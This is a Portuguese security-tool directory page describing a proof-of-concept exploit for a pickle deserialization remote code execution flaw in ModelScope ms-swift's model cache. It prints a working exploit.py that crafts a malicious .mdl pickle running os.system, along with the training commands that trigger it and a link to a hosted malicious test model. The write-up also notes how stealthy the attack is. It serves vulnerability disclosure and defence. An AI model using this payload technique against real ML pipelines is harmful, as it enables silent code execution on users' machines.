Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-50472 — Prova de conceito de exploit para CVE-2025-50472, uma vulnerabilidade de RCE por desserialização no ModelFileSystemCache do ms-swift da ModelScope por meio de arquivos .mdl maliciosos. | Kitploit
Ferramentas/GitHubGitHub/before-rain/cve-2025-50472
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

Prova de conceito de exploit para CVE-2025-50472, uma vulnerabilidade de RCE por desserialização no ModelFileSystemCache do ms-swift da ModelScope por meio de arquivos .mdl maliciosos.

Ver Repositório
1há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-50472

Vulnerabilidade de Execução Remota de Código por Desserialização de Dados Não Confiáveis no ModelFileSystemCache do ModelScope Ms-Swift

PoC de RCE

Enviei um repositório de código contendo um arquivo .mdl malicioso para o ModelScope para fins de teste. Ele pode ser usado diretamente durante o teste. O link é: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

imagem

O arquivo .mdl contém código malicioso incorporado, mas nenhum aviso de segurança é exibido no ModelScope.

Código do PoC:

root@kitploit:~
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

O procedimento para reproduzir o problema é o seguinte:

  1. O modelo é baixado

    p1
  2. Após a execução do código malicioso, o treinamento prossegue normalmente sem interrupção

    imagem
  3. O payload malicioso é executado com sucesso

    imagem

1. Visão geral de alto nível e efeitos da vulnerabilidade:

A biblioteca modelscope/ms-swift até a versão 2.6.1 é vulnerável à execução arbitrária de código através da desserialização de dados não confiáveis na função load_model_meta() da classe ModelFileSystemCache(). Atacantes podem executar código e comandos arbitrários criando um payload .mdl serializado malicioso, explorando o uso de pickle.load() em dados de fontes potencialmente não confiáveis. Essa vulnerabilidade permite a execução remota de código (RCE) ao enganar as vítimas para que carreguem um checkpoint aparentemente inofensivo durante um processo normal de treinamento, permitindo assim que atacantes executem código arbitrário na máquina alvo.

Observe que o arquivo de payload é um arquivo oculto, dificultando a detecção de adulteração pela vítima. Mais importante ainda, durante o processo de treinamento do modelo, após o arquivo .mdl ser carregado e executar código arbitrário, o processo normal de treinamento permanece inalterado, o que significa que o usuário permanece alheio à execução de código arbitrário.

2. O Produto Vulnerável

  • Produto: modelscope ms-swift
  • Módulo: ModelFileSystemCache
  • Arquivo: swift/hub/utils/caching.py
  • Versão: <=2.6.1
  • GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. Análise da Causa Raiz

  • Descrição detalhada da vulnerabilidade: A vulnerabilidade resulta da desserialização insegura de dados não confiáveis. O script usa pickle.load para carregar o arquivo de cache oculto e é vulnerável à execução de código.

  • Fluxo de código desde a entrada até a condição vulnerável:

    • Durante o treinamento do modelo, o usuário usou o método padrão de download de modelo para obter um modelo do ModelScope. O modelo foi armazenado no caminho ~/.cache/modelscope/hub/xx/xx, onde um arquivo de cache .mdl estava presente no diretório do modelo, contendo informações básicas como o nome do modelo.
    • O usuário então utilizou o modelo baixado para ajuste fino ou outros procedimentos de treinamento.
    • Quando o script caching.py desserializou o arquivo .mdl, o código malicioso incorporado no arquivo foi executado.
  • Ponto de injeção: A vulnerabilidade ocorre no ponto onde pickle.load é chamado. GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • Correções sugeridas: Ao lidar com arquivos de configuração (em vez de arquivos de modelo), recomenda-se adotar métodos de análise de arquivos mais seguros, como yaml.safe_load(yaml_file) ou json.load, para mitigar o risco de execução arbitrária de código.

4. PoC

  1. Execute exploit.py para criar um arquivo de cache malicioso .mdl que criará um diretório no sistema da vítima:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. Substitua o arquivo .mdl original no diretório do modelo pelo arquivo maliciosamente criado gerado acima.

  2. Quando o parâmetro model_id_or_path é especificado durante o treinamento para referenciar um diretório de modelo local, um arquivo .mdl adulterado no caminho especificado pode resultar em execução remota de código (RCE). Importante, tal modificação não interrompe o fluxo normal de treinamento, tornando o ataque RCE furtivo e difícil de ser detectado pelos usuários.

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

Autor

Hao Fan (凡浩) e Yu Rong (戎誉)

Baixar ferramenta